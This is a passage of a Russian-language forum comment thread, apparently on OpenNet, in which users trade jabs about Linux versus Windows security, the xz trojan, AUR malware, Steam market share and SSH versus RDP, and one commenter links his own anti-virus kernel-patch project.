Так ты сам выдвинул ложное утверждение о том, что GNU/Linux небезопасен. Хотя, если конкретно рассматривать российские дистрибутивы, то они да - небозопасны.

>Кстати, Android тоже вроде на лине построен (или уже нет и его упоминание невыгодно?) и тоже как винда устанавливает софт по одному нажатию, но "это другое", верно?

Не увиливай. Мы же говорим про копилефтный GNU/Linux.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #188 Ответы: #193, #203, #215

193. Сообщение от Anonimm (?), 03-Авг-25, 11:24   +/
> российские дистрибутивы

Которые внезапно оказываются перелицованным дебианом с исчезновением упоминания прародителя. Всё как с современными Ладами и Москвичами
> говорим про копилефтный GNU/Linux

И при любом случае упоминаем винду как все в ней плохо, а если в лине нашли троян - сразу "это другое"..

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #192

195. Сообщение от Anonimm (?), 03-Авг-25, 15:49   +/
Объясни - какая взаимосвязь между трояном в xz и виндой? Это какой-то сюр! Зачем приплетать сюда другую систему? Давай напишем, что "в маке этот троян запустить не удастся" и будем всех пересаживать на мак?
4%-ное сообщество все не может избавиться от мифа (который само же и придумало), что якобы линукс безопасней всех. Но когда начинаешь им говорить, что опыт Android говорит об обратном, они начинают выдумывать, что" каждый вендор сам модифицирует ядро для определённого устройства" и то, что в своей основе все исходные функции работают как и задумано в Google, они упрямо игнорируют. Но зато когда надо превознести процент использования линукса, "вспоминают" об умных утюгах и фенах..
Двуличие и двойные стандарты - кредо 4%-ного сообщества, которое вопит, что винда плохая, но игры и софт, запускаемые ими под Wine - "это другое"..
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #191

197. Сообщение от кантикариус (?), 03-Авг-25, 18:28   +/
На Стиме недавно снова посчитали. Менее 3% у них получилось. Это вместе со Стимдекой!
Причём, доля снижается. Видимо, лохи "Линукс для игр" под давлением реальности заканчиваются.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #180

198. Сообщение от Аноним (198), 03-Авг-25, 18:53   –1 +/
Ждем, когда решат проверить crates.io.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #227

199. Сообщение от Аноним (199), 03-Авг-25, 19:08   +/
бывает. иногда приходится понимать, что именно ты делаешь.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #49

200. Сообщение от dannyD (?), 03-Авг-25, 19:09   +/
ну ты же называешь себя ЧЕЛОВЕКОМ!:DD Респект!
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #150 Ответы: #209

201. Сообщение от Аноним (199), 03-Авг-25, 19:10   +/
если "никто" не проверяет "ничего" как появился инфоповод к новости?
а?
ну нашли же, да?
а раз нашли, то, видимо, проверяли? не? )
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #10

202. Сообщение от dannyD (?), 03-Авг-25, 19:14   +/
да я выяснил вопрос за 15 минут.

но:
1. там есть аппимаг.
2. подобный софт ставится по принципу "работает не трогай", тут каконить дебиан-копролит лучшее будет.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #170

203. Сообщение от Аноним (203), 03-Авг-25, 19:22   +1 +/
Так и поведение копилефтного GNU/Linux опередляется его разработчиками а не тобой. Ты не то что патч к ядру не писал, ты исходники даже не читал. Они у тебя как годовой абонемент в спортзал: ни разу не воспользовался, но мысль о том что в любой момент можешь греет. И пользуешься ты не копилефтными свободами, а тем, что дядя майнтейнер дистрибутива собрал и в пакетик оформил. Так что не надо тут заливать про то, как ты системой управляешь. Всё твоё управление заканчивается на настройке гапсов в тайловом вм.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #192

204. Сообщение от Аноним (199), 03-Авг-25, 19:34   +/
так-то обсуждается конкретный пакетный менеджер. которые разные в разных дистрибах. и при чём тут линь?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #182 Ответы: #207

206. Сообщение от Аноним (203), 03-Авг-25, 20:14   +/
> А как ты собрался связываться с сервером, если на устройстве, с которого ты хочешь подключиться к серверу, ssh нет?

Это ещё ладно, у меня на серверах в проде нет SSH. И ничего, небо на землю не падает.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #101 Ответы: #212

207. Сообщение от Anonimm (?), 03-Авг-25, 21:19   +/
А винда тут с какой стороны?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #204

208. Сообщение от freeperson (?), 03-Авг-25, 22:31   +1 +/
> Я выбирал между Слакой и Арчем. От Слаки отказался только из-за отсутствия
> отслеживания зависимостей пакетов.

Есть в Slackware отслеживание зависимостей - slpkg, например. А когда оно не нужно, можно просто юзать sbopkg.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #141

209. Сообщение от кантикариус (?), 04-Авг-25, 00:12   +/
> ну ты же называешь себя ЧЕЛОВЕКОМ!

Где и когда я так се6я называл? Пруфы будут?
Но вот очередной владелец МАШИНЫ детектед.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #200 Ответы: #218

210. Сообщение от Аноним (210), 04-Авг-25, 10:52   +1 +/
> подключился по RDP

Ну конечно, передать команду из 15 байт это не нужно, а картинку надо надо...

У вас виндовс головного мозга, юниксы в отличии от () никогда не отказывались от терминала, и он всегда оставался полноценным, и на десктопах и на одноплатниках, и на роутерах, которые одноплатники и есть, зачем городить огород, преобразования текста в изображение, а потом это транслировать в сеть, когда можно обойтись несколькими байтами.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #118

211. Сообщение от Аноним (210), 04-Авг-25, 10:57   +/
> Не могу представить себе бухгалтера, который в минутку для отдыха от работы в 1С решил зайти по SSH на сервер

Вас послушать, так надо капот на автомобили заварить автогеном, чтобы пользователь туда ни в коем случае не мог залезть. Ну может однажды так и будет, но после того как телефоны стали не разборными совсем - стало лучше? или просто добавилось геммороя по замене компонентов

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #116

212. Сообщение от Аноним (210), 04-Авг-25, 11:00   +1 +/
В одном городе живет мальчик, у которого нет (подставить что угодно), и ничего, живет..

Доказательство того, что (что угодно) не нужно.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #206

213. Сообщение от Аноним (210), 04-Авг-25, 11:07   +/
Вот когда найдут уязвимость во всех линуксах, тогда и приходите, а то что одни открывают на своих роутерах бэкдоры для удобства, а другие не могут sudo написать без ошибок, какое это отношение имеет к ядру системы? или к компилятору (gcc) или к стандартной библиотеки (glibc)

Вы обвиняете бетон в том, что из бетонной тюрьмы сбежал преступник, а охранники, и прочие меры пофиг, ну Л-логика

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #175 Ответы: #221

214. Сообщение от Аноним (210), 04-Авг-25, 11:11   +/
>  Ты не поверишь, но большинство обычного софта на винду именно так и ставится.

Лично тобою? ну, ок

но вот мне кажется, что большенство софта залетают на компы через gpo, либо системы развертывания на заводе, там тоже качают по ссылкам с мейл-ру?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #184 Ответы: #222

215. Сообщение от L10N (ok), 04-Авг-25, 11:12   +1 +/
>Хотя, если конкретно рассматривать российские дистрибутивы, то они да - небозопасны.

Можете развить эту мысль? Чем они менее безопасны, чем не российские?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #192

216. Сообщение от Аноним (210), 04-Авг-25, 11:13   +/
то есть ссылка на исходники на фдроиде ведущая на фдроид считается, а ведущая на гитхаб нет, а в чем разница то?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #177 Ответы: #223

217. Сообщение от Аноним (210), 04-Авг-25, 11:18   +/
Мне вот интересно, а мезазойские амебы, если бы имели имели чуточку мозгов, тоже бы возмущались о том что не должны они отращивать ноги и бегать, ну типа просто лежать на камне и метаболизировать это же круто.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #178 Ответы: #224

218. Сообщение от dannyD (?), 04-Авг-25, 11:32   +/
AI бот детектед.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #209

219. Сообщение от Котофалк (?), 04-Авг-25, 12:25   +/
А давно на фенах и пылесосах AUR?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #180

220. Сообщение от Котофалк (?), 04-Авг-25, 12:36   +/
> Это проблема куда шире чем кажется. Разработчик вылежат своё ПО только под Win и Mac, он не будит собирать под 100500 диструбтивов Linux на 4% рынка дисктопов!

Проприетарный - не будет. Опенсорсному это и не надо, сборкой ПО под конкретный дистр занимаются мейнтейнеры оного дистра.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #86

221. Сообщение от Anonimm (?), 04-Авг-25, 12:49   +/
А вот и ботинки новые завезли.. 😆
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #213

222. Сообщение от Anonimm (?), 04-Авг-25, 12:50   +/
Игры тоже на заводе устанавливают?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #214 Ответы: #226

223. Сообщение от Anonimm (?), 04-Авг-25, 12:51   +/
> сходи на f-droid почитай.

Не надо менять обувь на ходу..

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #216

224. Сообщение от Anonimm (?), 04-Авг-25, 12:51   +/
Выходные удались, верно?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #217

226. Сообщение от нах. (?), 04-Авг-25, 16:19   +/
Конечно! Он же на заводе по производству игорей заготовки пилит.

Когда не устанавливает слесарям рач, конечно. (на том заводе у всех у кого не винда - рач, иначе б чего он какие-то gpo приплел)

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #222

227. Сообщение от нах. (?), 04-Авг-25, 16:22   –1 +/
А как ты там что-то проверишь, оно ж на хрусте. write-only да и то ИИ понаписал.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #198

230. Сообщение от Аноним (230), 06-Авг-25, 04:33   +/
Я конечно на арче не сидел. Но по моему мнению очевидно что арч самый популярный дистрибутив, особенно после стим дека. По моему в будущем таких случаев будет много, ведь аудитория дистрибутива огромная
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #233

231. Сообщение от Аноним (231), 06-Авг-25, 20:18    Скрыто ботом-модератором+/
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1

232. Сообщение от Аноним (233), 12-Авг-25, 12:50   +/
Идиотизм. Я уже давно запатчил ядро и сижу не парюсь с этими вирусами. Правда через AUR он поставился бы ((. Надо обдумать как это обойти инцидент. Хотя удалить хуук pacman и все. virusSTOP давно есть на гитхабе
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #234

233. Сообщение от Аноним (233), 12-Авг-25, 12:51   +/
не "...после" , а всегда им был. самый свежий и легкий
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #230

234. Сообщение от Аноним (233), 12-Авг-25, 12:55   +/
https://github.com/oditynet/virusSTOPyt
Не благодарите ,любители по болтать нио чем, человека, который что-то делает
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #232


Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру